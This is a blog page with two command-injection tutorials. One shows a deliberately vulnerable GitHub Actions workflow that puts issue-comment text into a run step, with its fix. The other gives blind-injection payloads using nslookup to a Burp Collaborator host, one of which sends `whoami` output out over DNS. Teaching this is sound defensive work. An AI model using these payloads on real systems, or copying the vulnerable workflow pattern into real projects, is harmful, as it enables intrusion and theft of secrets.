Skip to content

Tag: Command Injection

GH Actions Misconfiguration – causing Command Injection

Suppose you have a Github Actions script like below:

The script will be triggered when a new issue comment is added to the issue or a comment is edited.

name: GitHub Actions Demo
on:
  issue_comment:
    types: [created, edited]
jobs:
  Explore-GitHub-Actions:
    runs-on: ubuntu-latest
    steps:
      - run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event."
      - run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by GitHub!"
      - run: echo "🔎 The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}."
      - run: echo ${{ github.event.comment.body }}

Notice that ${{ github.event.comment.body }} is used in the run step directly? This makes the script vulnerable to Command Injection. Why?

Read this: https://securitylab.github.com/research/github-actions-untrusted-input/#remediation

In this context, someone can inject commands to the GH Action script by adding their payload to the issue comment. The GH Action script is triggered every time there is a new issue comment.

Did you notice we can run echo bye? This is just a simple example but worse scenario can be reverse-shell (if you are using self-hosted GH Runners) or secrets theft.

See that we can echo bye

You can even attack in a stealth mode by deleting the comment immediately once the workflow is triggered.

How to prevent the issue?

Set the github context data in env variable before you use it in the run

[...]
      - env: # Add this
          BODY: ${{ github.event.comment.body }} # Add this
        run: echo "$BODY"

Add a new comment that contains a payload:

You can see the script is interpreting the comment body as string rather than interpolating it as a command to execute.

Testing Blind Command Injection with Burp Collaborator

Recently, I was doing a few labs on Command Injection. It was mentioned that in most situation, the tester will not be able to see the response of the injected command. Therefore, alternative ways will need to be explored to check if the Blind Command Injection exists in the web application.

One of the ways that we can validate the existence of the Blind Command injection is to inject a nslookup command. In this scenario, we can use Burp Collaborator to validate if the web application has performed a DNS lookup. Please refer to this lab for more details.

First, you will need to click “Copy to clipboard” in the Burp Collaborator client. Insert the copied URL into the vulnerable parameter. Send this request to the web server.

Payload: & nslookup <INSERT BURP COLLABORATOR URL HERE> &
Example: & nslookup abcde1234.burpcollaborator.net. &

Secondly, you can click “Poll now” in the Burp Collaborator client. If there is a new DNS lookup appearing, it means that the Blind Command Injection is working.

In addition, you can also extract the output of the command using the below payload:

& nslookup `whoami`.<INSERT BURP COLLABORATOR URL HERE> &

In Burp Collaborator, we can see that there was a DNS lookup to the domain (containing the whoami result).